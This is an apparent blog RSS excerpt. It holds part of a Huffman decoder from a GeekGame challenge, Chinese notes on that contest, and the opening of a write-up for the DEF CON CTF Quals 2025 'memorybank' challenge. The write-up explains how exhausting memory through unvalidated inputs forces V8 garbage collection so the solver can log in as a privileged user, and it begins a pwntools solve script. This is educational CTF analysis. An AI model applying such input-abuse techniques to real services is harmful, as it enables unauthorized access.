<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">decode_symbol_from_mapping</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">reader</span><span style="color: #D6DEEB">: BitReader, </span><span style="color: #7FDBCA">mapping</span><span style="color: #D6DEEB">: Dict[Tuple[</span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">,</span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">], </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">], </span><span style="color: #7FDBCA">max_len</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">int</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> -&gt; </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span><span style="color: #ECC48D">Read up to max_len bits LSB-first trying to match a (code,length) key.</span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #D6DEEB">        code </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> length </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">1</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> max_len </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">            b </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> reader.</span><span style="color: #B2CCD6">read_bits</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            code </span><span style="color: #C792EA">|=</span><span style="color: #D6DEEB"> (b </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> (length </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">))  </span><span style="color: #637777"># accumulate LSB-first</span></span>
<span><span style="color: #D6DEEB">            key </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (code, length)</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> key </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> mapping:</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> mapping[key]</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">raise</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">ValueError</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">No matching Huffman code found while decoding</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># decode the code lengths for literal/length + distance alphabets</span></span>
<span><span style="color: #D6DEEB">    total_codes </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> nlits </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> ndists</span></span>
<span><span style="color: #D6DEEB">    code_lengths </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[]</span></span>
<span><span style="color: #D6DEEB">    prev_len </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">code_lengths</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> total_codes:</span></span>
<span><span style="color: #D6DEEB">        sym </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">decode_symbol_from_mapping</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">br</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> cl_mapping</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> cl_maxbits</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;=</span><span style="color: #D6DEEB"> sym </span><span style="color: #C792EA">&lt;=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">15</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            code_lengths.</span><span style="color: #B2CCD6">append</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">sym</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            prev_len </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> sym</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">elif</span><span style="color: #D6DEEB"> sym </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">16</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #637777"># copy previous length 3-6 times (2 extra bits)</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">code_lengths</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C792EA">raise</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">ValueError</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">Code 16 with no previous length</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            repeat </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> br.</span><span style="color: #B2CCD6">read_bits</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">2</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">3</span></span>
<span><span style="color: #D6DEEB">            code_lengths.</span><span style="color: #B2CCD6">extend</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">[</span><span style="color: #82AAFF">prev_len</span><span style="color: #D9F5DD">]</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> repeat</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">elif</span><span style="color: #D6DEEB"> sym </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">17</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #637777"># repeat zero 3-10 times (3 extra bits)</span></span>
<span><span style="color: #D6DEEB">            repeat </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> br.</span><span style="color: #B2CCD6">read_bits</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">3</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">3</span></span>
<span><span style="color: #D6DEEB">            code_lengths.</span><span style="color: #B2CCD6">extend</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">[</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">]</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> repeat</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            prev_len </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">elif</span><span style="color: #D6DEEB"> sym </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">18</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #637777"># repeat zero 11-138 times (7 extra bits)</span></span>
<span><span style="color: #D6DEEB">            repeat </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> br.</span><span style="color: #B2CCD6">read_bits</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">7</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">11</span></span>
<span><span style="color: #D6DEEB">            code_lengths.</span><span style="color: #B2CCD6">extend</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">[</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">]</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> repeat</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            prev_len </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">else</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">raise</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">ValueError</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&quot;Invalid symbol in code-length alphabet: </span><span style="color: #82AAFF">{sym}</span><span style="color: #ECC48D">&quot;</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #637777"># guard: don&#39;t overflow total</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">code_lengths</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&gt;</span><span style="color: #D6DEEB"> total_codes:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #637777"># If the header is malformed we might read too many; trim and continue</span></span>
<span><span style="color: #D6DEEB">            code_lengths </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> code_lengths[:total_codes]</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># split into literal/length and distance code length arrays</span></span>
<span><span style="color: #D6DEEB">    litlen_lengths </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> code_lengths[:nlits]</span></span>
<span><span style="color: #D6DEEB">    dist_lengths </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> code_lengths[nlits:nlits</span><span style="color: #C792EA">+</span><span style="color: #D6DEEB">ndists]</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># build canonical Huffman trees for literal/length and distance</span></span>
<span><span style="color: #D6DEEB">    litlen_tree, litlen_max </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">build_canonical_huffman</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">litlen_lengths</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    dist_tree, dist_max </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">build_canonical_huffman</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">dist_lengths</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    bits_consumed </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> br.</span><span style="color: #B2CCD6">get_bitpos</span><span style="color: #D6DEEB">() </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> bitpos</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">litlen_tree</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">: litlen_tree,</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">litlen_max_bits</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">: litlen_max,</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">dist_tree</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">: dist_tree,</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">dist_max_bits</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">: dist_max,</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">bits_consumed</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">: bits_consumed,</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">nlits</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">: nlits,</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">ndists</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">: ndists,</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">litlen_lengths</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">: litlen_lengths,</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">dist_lengths</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">: dist_lengths</span></span>
<span><span style="color: #D6DEEB">    }</span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">decode_symbol_from_tree</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">reader</span><span style="color: #D6DEEB">: BitReader, </span><span style="color: #7FDBCA">tree</span><span style="color: #D6DEEB">: Dict[Tuple[</span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">,</span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">], </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">], </span><span style="color: #7FDBCA">max_len</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">int</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> -&gt; </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #ECC48D">    Decode a symbol from `reader` using the provided tree mapping produced by build_canonical_huffman.</span></span>
<span><span style="color: #ECC48D">    The reader will be advanced by the number of bits used.</span></span>
<span><span style="color: #ECC48D">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #D6DEEB">    code </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> length </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">1</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> max_len </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">        b </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> reader.</span><span style="color: #B2CCD6">read_bits</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        code </span><span style="color: #C792EA">|=</span><span style="color: #D6DEEB"> (b </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> (length </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">        key </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (code, length)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> key </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> tree:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> tree[key]</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">raise</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">ValueError</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">No matching code in tree</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">)</span></span></code></pre></div></section>
<h3 id="事故" class="heading"><a href="#事故" class="heading-anchor" aria-label="章节： 事故" tabindex="-1"></a><span>事故</span></h3>
<p>非常抱歉<span class="mojikumi-line-end">，</span>计算 flag 1 放置位置的代码写挂了<span class="mojikumi-line-start">（</span></p>
<p>我一直以为先交 2/3 的是在屯<span class="mojikumi-line-end">，</span>快到第二阶段才想到去检查一下附件<span class="mojikumi-line-end">，</span>也没注意 flag 提交记录里的半截 flag<span class="mojikumi-line-start">（</span></p>
<p>这 Python 太坏了<span class="mojikumi-line-end">，</span>要是 Rust 早发现了<span class="mojikumi-line-start">（</span></p>
<h2 id="梗指南" class="heading"><a href="#梗指南" class="heading-anchor" aria-label="章节： 梗指南" tabindex="-1"></a><span>梗指南</span></h2>
<p>这次我自己的两道题没什么梗<span class="mojikumi-line-start">（</span>除了稍微模仿了一下某电子身份服务系统<span class="mojikumi">）</span><span class="mojikumi-line-end">，</span>但我参与了一些其他题面编写<span class="mojikumi-line-end">：</span></p>
<ul>
<li><a href="https://github.com/PKU-GeekGame/geekgame-5th/blob/master/official_writeup/misc-paper"><span class="mojikumi-line-start">【</span>开源论文太少了！<span class="mojikumi-line-end">】</span></a>的八岐大蛇部分</li>
<li><a href="https://github.com/PKU-GeekGame/geekgame-5th/blob/master/official_writeup/web-clash"><span class="mojikumi-line-start">【</span>提权潜兵 · 新指导版<span class="mojikumi-line-end">】</span></a>彩蛋的光敏性癫痫警告</li>
<li><a href="https://github.com/PKU-GeekGame/geekgame-5th/blob/master/official_writeup/binary-safekernel"><span class="mojikumi-line-start">【</span>传统 C 语言核易危<span class="mojikumi-line-end">】</span></a>的题目名<span class="mojikumi">、</span><wbr><span class="mojikumi-line-start">“</span>核已畏<span class="mojikumi-line-end">”</span>图片<span class="mojikumi-line-end">、</span>技能五子棋</li>
<li><a href="https://github.com/PKU-GeekGame/geekgame-5th/blob/master/official_writeup/algo-tree"><span class="mojikumi-line-start">【</span>我放弃了一 key 到底<span class="mojikumi-line-end">】</span></a>的梗是出题人选的<span class="mojikumi-line-end">，</span>我改了一下缝法</li>
<li><a href="https://github.com/PKU-GeekGame/geekgame-5th/blob/master/official_writeup/algo-oracle2"><span class="mojikumi-line-start">【</span>千年讲堂的方形轮子 II<span class="mojikumi-line-end">】</span></a>的整个题面</li>
<li><a href="https://github.com/PKU-GeekGame/geekgame-5th/blob/master/official_writeup/algo-ACG"><span class="mojikumi-line-start">【</span>高级剪切几何<span class="mojikumi-line-end">】</span></a>修改了一下出题人一开始的表述</li>
</ul>
<p>其中<span class="mojikumi">，</span><wbr><span class="mojikumi-line-start">【</span>千年讲堂的方形轮子 II<span class="mojikumi-line-end">】</span>缝了一些<span class="text-nijigasaki">虹</span>梗<span class="mojikumi-line-end">：</span></p>
<style>
:root.light .you-name {
    background: linear-gradient(0deg, #318e24, var(--text-color), var(--text-color));
    background-clip: text;
    color: transparent;
}

:root.dark .you-name {
    background: linear-gradient(0deg, #93c18a, var(--text-color), var(--text-color));
    background-clip: text;
    color: transparent;
}
</style>
<ul>
<li><span lang="ja-jp"><span class="mojikumi-line-start">『</span>愛♡スクリ～ム！<span class="mojikumi-line-end">』</span></span> 的歌词不必多说<span class="mojikumi-line-start">（</span>本来想让 <span class="you-name">You 酱</span>作为 <span lang="ja-jp">あなた</span><span class="mojikumi-line-end">，</span>但不好缝<span class="mojikumi-line-end">）</span></li>
<li><span class="you-name">You 酱</span>在最后一句差点说出了<a href="https://zh.moegirl.org.cn/zh-cn/%E5%8F%AA%E9%80%89%E4%B8%80%E4%B8%AA%E4%BA%BA%E7%9A%84%E8%AF%9D%E6%A0%B9%E6%9C%AC%E6%B2%A1%E6%B3%95%E9%80%89%E5%95%8A%EF%BC%81"><span lang="ja-jp">ヒ</span>字真言</a><span class="mojikumi-line-end">，</span>但及时打住了<span class="mojikumi-line-end">；</span>这个<span lang="ja-jp"><span class="mojikumi-line-start">「</span>ﾋ<span class="mojikumi-line-end">」</span></span>还长得很像半个<span class="mojikumi-line-start">“</span>比<span class="mojikumi">”</span><wbr><span class="mojikumi-line-start">（</span></li>
<li><span class="you-name">You 酱</span>的名字有渐变色<span class="mojikumi-line-end">，</span>这次的颜色比起第零届稍微调了一点<span class="mojikumi-line-end">，</span>适配了暗色模式</li>
<li><span class="mojikumi-line-start">“</span><ruby>黑客<rp><span class="mojikumi-line-start">（</span></rp><rt>A.L.A.N</rt><rp><span class="mojikumi-line-end">）</span></rp></ruby><span class="mojikumi-line-end">”</span>中的<span class="mojikumi-line-start">“</span>A.L.A.N<span class="mojikumi-line-end">”</span>是<a href="https://www.bilibili.com/video/av115066653379234/">虹咲完结篇第二章 PV</a> 里的角色</li>
</ul>]]></content:encoded>
            <category domain="https://ouuan.moe/tag/writeup">writeup</category>
            <category domain="https://ouuan.moe/tag/ctf">ctf</category>
        </item>
        <item>
            <title><![CDATA[DEF CON CTF Quals 2025 memorybank Write-Up: Investigating V8 Garbage Collector]]></title>
            <link>https://ouuan.moe/post/2025/04/memorybank</link>
            <guid>https://ouuan.moe/post/2025/04/memorybank</guid>
            <pubDate>Sat, 10 May 2025 07:49:30 GMT</pubDate>
            <description><![CDATA[

<p>Write-up for <a href="https://github.com/Nautilus-Institute/quals-2025/tree/main/memorybank">memorybank</a> in DEF CON CTF Quals 2025. Particularly:</p>
<ul>
<li>Why random username?</li>
<li>Why <code>setTimeout</code>?</li>
<li>Why large signature?</li>
<li>Why <code>Uint8Array</code>?</li>
</ul>
]]></description>
            <content:encoded><![CDATA[

<p>Write-up for <a href="https://github.com/Nautilus-Institute/quals-2025/tree/main/memorybank">memorybank</a> in DEF CON CTF Quals 2025. Particularly:</p>
<ul>
<li>Why random username?</li>
<li>Why <code>setTimeout</code>?</li>
<li>Why large signature?</li>
<li>Why <code>Uint8Array</code>?</li>
</ul>

<aside role="note" data-v-a2ab257f><details class="shadow-md rd-1 b-l-6 my-6 bg-blue-1 dark:bg-blue-9 b-blue" data-v-a2ab257f><summary class="p-3 flex justify-between items-center cursor-pointer" data-v-a2ab257f><h2 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-pencil text-blue" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Note: </span><span data-v-a2ab257f>TL;DR: the answers to these four questions</span></h2><span class="details-icon text-5" data-v-a2ab257f></span></summary><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><aside role="note" data-v-a2ab257f><details class="shadow-md rd-1 b-l-6 my-6 bg-orange-1 dark:bg-orange-9 b-orange" data-v-a2ab257f><summary class="p-3 flex justify-between items-center cursor-pointer" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-alert-circle-outline text-orange" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Warning: </span><span data-v-a2ab257f>Do you really want to skip to the answers?</span></h3><span class="details-icon text-5" data-v-a2ab257f></span></summary><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><ul>
<li>
<p>Weakly referenced objects that have been accessed in the same job are not garbage collected. <code class="break-all">getUserByUsername</code> accesses the bank manager, but using a random username does not. <code>setTimeout</code> creates a separate job for the <code>user</code> function.</p>
</li>
<li>
<p>There are two types of garbage collection, minor GC and major GC. Weakly referenced objects are reclaimed only in the major GC.</p>
</li>
<li>
<p><code>ArrayBuffer</code> can cause external memory pressure and immediately trigger a major GC, where the normal heap memory usage can only trigger minor GCs and schedule a major GC that is not immediately started.</p>
</li>
</ul></div></details></aside></div></details></aside>
<p>It is the most solved challenge in this event, surpassing the basic challenge <span class="mojikumi">“</span>🐱‍💻🌐<span class="mojikumi">”</span>. However, I bet that most people did not fully understand how the solution worked, or why the alternatives did not.</p>
<p>(Un)fortunately, I did not try hard enough to guess different approaches and hit the correct one, but instead <i>wasted</i> my time figuring out the underlying mechanisms about the V8 garbage collector before getting the flag (and during writing this write-up).<sup><a href="#user-content-fn-flow" id="user-content-fnref-flow" data-footnote-ref aria-describedby="footnote-label">1</a></sup></p>
<p>Here<span class="mojikumi-narrow-left">’</span>s the write-up. (My longest write-up for a single challenge, a most solved challenge :)</p>
<h2 id="solve-the-challenge" class="heading"><a href="#solve-the-challenge" class="heading-anchor" aria-label="章节： Solve the Challenge" tabindex="-1"></a><span>Solve the Challenge</span></h2>
<p>In this challenge, we can log in to a bank system and withdraw bills. If we log in as the bank manager, we will get the flag.</p>
<p>The users are stored in an array of <code>WeakRef</code>, so we will be able to log in as the bank manager if the <code>User</code> object for the manager is not strongly referenced and reclaimed by the garbage collector.</p>
<p>Each withdrawn bill is stored as a <code>Bill</code> object including a <code>signature</code> field, which may occupy a substantial amount of memory. If we run out of available memory, we can trigger GC and the bank manager will hopefully be reclaimed.</p>
<p>There are two ways to occupy more memory:</p>
<ol>
<li>Make many bills.</li>
<li>Make each bill large.</li>
</ol>
<p>There is a list of valid options for the bill denomination, but the user input not actually checked, so we can get lots of bills be entering a small denomination like <code>1e-4</code> (<code>0.0001</code>).</p>
<p>There is no length limit on the signature input, so it can be very large.</p>
<p>Combining these two techniques, we can exhaust the available memory and cause garbage collections, which should remove the bank manager from the memory. So let<span class="mojikumi-narrow-left">’</span>s have a try.</p>
<a id="memory-limit" name="memory-limit" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-blue-1 dark:bg-blue-9 b-blue" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-info-circle-outline text-blue" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Info: </span><span data-v-a2ab257f>Memory Limit</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>The <code>ulimit -m 22400</code> in <code>run_<wbr>challenge<wbr>.<wbr>sh</code> has no effect on modern Linux.<sup><a href="#user-content-fn-ulimit-m" id="user-content-fnref-ulimit-m" data-footnote-ref aria-describedby="footnote-label">2</a></sup> I asked the admin on Discord how memory usage was limited on remote but did not get a reply. I found that using Docker to set a memory limit behaves similarly to the remote. Some solutions work with certain memory limit methods but not others, so please also set memory usage limit via Docker if you want to reproduce.</p></div></div></aside>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h3><ile-root id="ile-16"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-16--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">from</span><span style="color: #403F53"> pwn </span><span style="color: #994CC3">import</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span></span>
<span></span>
<span><span style="color: #403F53">context.log_level </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">debug</span><span style="color: #111111">&#39;</span></span>
<span></span>
<span><span style="color: #403F53">docker </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">docker run --rm -i -m 100m -v ./index.js:/index.js:ro denoland/deno</span><span style="color: #111111">&#39;</span></span>
<span><span style="color: #403F53">deno </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">deno run --v8-flags=--trace-gc --allow-read /index.js</span><span style="color: #111111">&#39;</span></span>
<span><span style="color: #403F53">p </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">process</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{docker}</span><span style="color: #C96765"> </span><span style="color: #4876D6">{deno}</span><span style="color: #C96765">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #403F53">shell</span><span style="color: #994CC3">=</span><span style="color: #BC5454">True</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #989FB1"># login</span></span>
